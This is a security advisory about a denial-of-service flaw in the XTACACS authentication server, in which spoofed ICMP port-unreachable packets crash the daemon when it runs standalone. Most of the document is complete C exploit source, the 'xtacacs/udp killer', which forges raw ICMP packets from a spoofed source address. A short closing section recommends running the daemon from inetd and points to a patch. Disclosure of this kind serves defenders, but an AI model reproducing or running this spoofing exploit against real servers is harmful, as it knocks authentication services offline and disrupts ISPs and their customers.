COMMAND
XTACACS
SYSTEMS AFFECTED
XTACACS authentication server
PROBLEM
Coaxial Karma found following. He recently discovered that when
an ISP was using XTACACS server from Vikas Aggarwal in a
standalone mode, it was possible to make the XTACACS server crash
by sending it different type of ICMP messages. In order to
exploit this, you only have to an ICMP unreachable message
specifying port unreachable. Exploit follows:
/************************************************************************
*
* xtacacs/udp killer v1.0 by Coaxial Karma, c_karma@hotmail.com
* Modified version of nEWk.c by HyperioN
*
* Only few code has been modified: the loop for sending fake ICMP packets
* has been removed and arguments provided also changed.
*
************************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int size;
#define RESOLVE_QUIET
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)
unsigned char *dest_name;
unsigned char *origdest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr;
unsigned long origdest_addr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned char type;
unsigned long seq;
int x=1;
int cize;
char *unreachables[] = {"Network unreachable",
"Host unreachable",
"Protocol unreachable",
"Port unreachable",
"Fragmantation needed and DF set",
"Source route failed",
"Network unknown",
"Host unknown",
"Source host is isolated",
"Network administratively unreachable",
"Host administratively unreachable",
"Network unreachable - type of service",
"Host unreachable - type of service"};
void banner(void)
{
printf("\nxtacacs/udp killer v1.0 by Coaxial Karma\n");
printf("modified version of nEWk.c (HyperioN)\n");
}
void usage(const char *progname)
{
printf("usage:\n");
printf("%s <source> <dest>\n\n",progname);
printf("\t<source> : address of fake ICMP packet sender\n");
printf("\t<dest> : destination of the unreach message\n");
printf("\n");
}
int resolve( const char *name, struct sockaddr_in *addr, int port )
{
struct hostent *host;
bzero(addr,sizeof(struct sockaddr_in));
if (( host = gethostbyname(name) ) == NULL ) {
#ifndef RESOLVE_QUIET
fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
perror("");
#endif
return -1;
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
addr->sin_port = htons(port);
return 0;
}
int resolve_one(const char *name, unsigned long *addr, const char *desc)
{
struct sockaddr_in tempaddr;
if (resolve(name, &tempaddr,0) == -1) {
printf("error: can't resolve the %s.\n",desc);
return -1;
}
*addr = tempaddr.sin_addr.s_addr;
return 0;
}
int resolve_all(const char *origdest,
const char *dest,
const char *spoof)
{
if (resolve_one(origdest,&origdest_addr,"origdest address"))
return -1;
if (resolve_one(dest,&dest_addr,"dest address")) return -1;
if (spoof!=NULL)
if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
destaddr.sin_addr.s_addr = dest_addr;
destaddr.sin_family = AF_INET;
destaddr.sin_port = 0;
}
/*
* From ping.c (from original nuke.c)
*/
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
/*
* This from echok, but with some mods (snuke.c) for unreach.
*/
inline int icmp_unreach_send(int socket,
struct sockaddr_in *address,
unsigned char icmp_code,
unsigned long spoof_addr,
unsigned long s_addr,
unsigned long t_addr,
unsigned s_port,
unsigned t_port,
unsigned long seq)
{
unsigned char packet[4098];
struct iphdr *ip;
struct icmphdr *icmp;
struct iphdr *origip;
unsigned char *data;
int i;
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet+IPHDRSIZE);
origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
data = (char *)(packet+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
memset(packet, 0, 4098);
ip->saddr = spoof_addr;
ip->daddr = t_addr;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255-random()%15;
ip->protocol = IPPROTO_ICMP;
ip->tot_len = htons(IPHDRSIZE + size + ICMPHDRSIZE + IPHDRSIZE + 8);
ip->check = in_cksum(packet,IPHDRSIZE);
origip->saddr = t_addr; /* this is the 'original' header.
*/
origip->daddr = s_addr;
origip->version = 4;
origip->ihl = 5;
origip->ttl = ip->ttl - random()%15;
origip->protocol = IPPROTO_UDP;
origip->tot_len = IPHDRSIZE + 30;
origip->id = random()%69;
origip->check = in_cksum(origip,IPHDRSIZE);
*((unsigned int *)data) = htons(s_port);
*((unsigned int *)(data+2)) = htons(t_port);
*((unsigned long *)(data+4)) = htonl(seq);
/* 'original IP header + 64 bits (of bogus TCP header)' made. */
icmp->type = 3;
icmp->code = icmp_code;
icmp->checksum = in_cksum(icmp,size+ICMPHDRSIZE+IPHDRSIZE+8);
/* the entire ICMP packet it now ready. */
#ifdef ICMP_PKT_DEBUG
printf("Packet ready. Dump: \n");
for (i=0;i<IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8;i++)
printf("%02X%c",*(packet+i),((i+1)%16) ? ' ' : '\n');
printf("\n");
#endif
return
sendto(socket,packet,IPHDRSIZE+size+ICMPHDRSIZE+IPHDRSIZE+8,0,
(struct sockaddr *)address,sizeof(struct
sockaddr));
/* ICMP packet is now over the net. */
}
void main(int argc, char * *argv) {
int s;
banner();
if (argc != 3) {
usage(argv[0]);
return;
}
type = 3;
seq=31331;
spoof_name = argv[1];
dest_name = argv[2];
origdest_name = argv[1];
resolve_all(origdest_name, dest_name, spoof_name);
s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
#ifdef IP_HDRINCL
printf("We have IP_HDRINCL :-)\n\n");
if (setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("setsockopt IP_HDRINCL");
exit(1);
};
#else
printf("We don't have IP_HDRINCL :-(\n\n");
#endif
if(icmp_unreach_send(s,&destaddr,type,spoof_addr,origdest_addr,dest_addr,49,49,seq++)==
-1) {
printf("%s: error sending packet\n",argv[0]);
perror("");
return;
}
}
SOLUTION
This reinforces the recommendation in Vikas' documentation that
xtacacsd be run out of inetd in persistent mode and not in
standalone mode. Having login/logout control die will at best
generate a flurry of support calls plus mess up time-based
accounting or at worst, cost an ISP customers. Thankfully Tacacs
based clients usually default to "no response = no access", so it
only really becomes a security issue if a bogus tacacs server can
be installed on the network _and_ the tacacs servers are
configured to look at it. (Discounting forged udp tacacs
responses). However, fix is now evailable. The daemon was exiting
if recvfrom() returned an error- this has been fixed. A beta
version of the patched code is at:
ftp.navya.com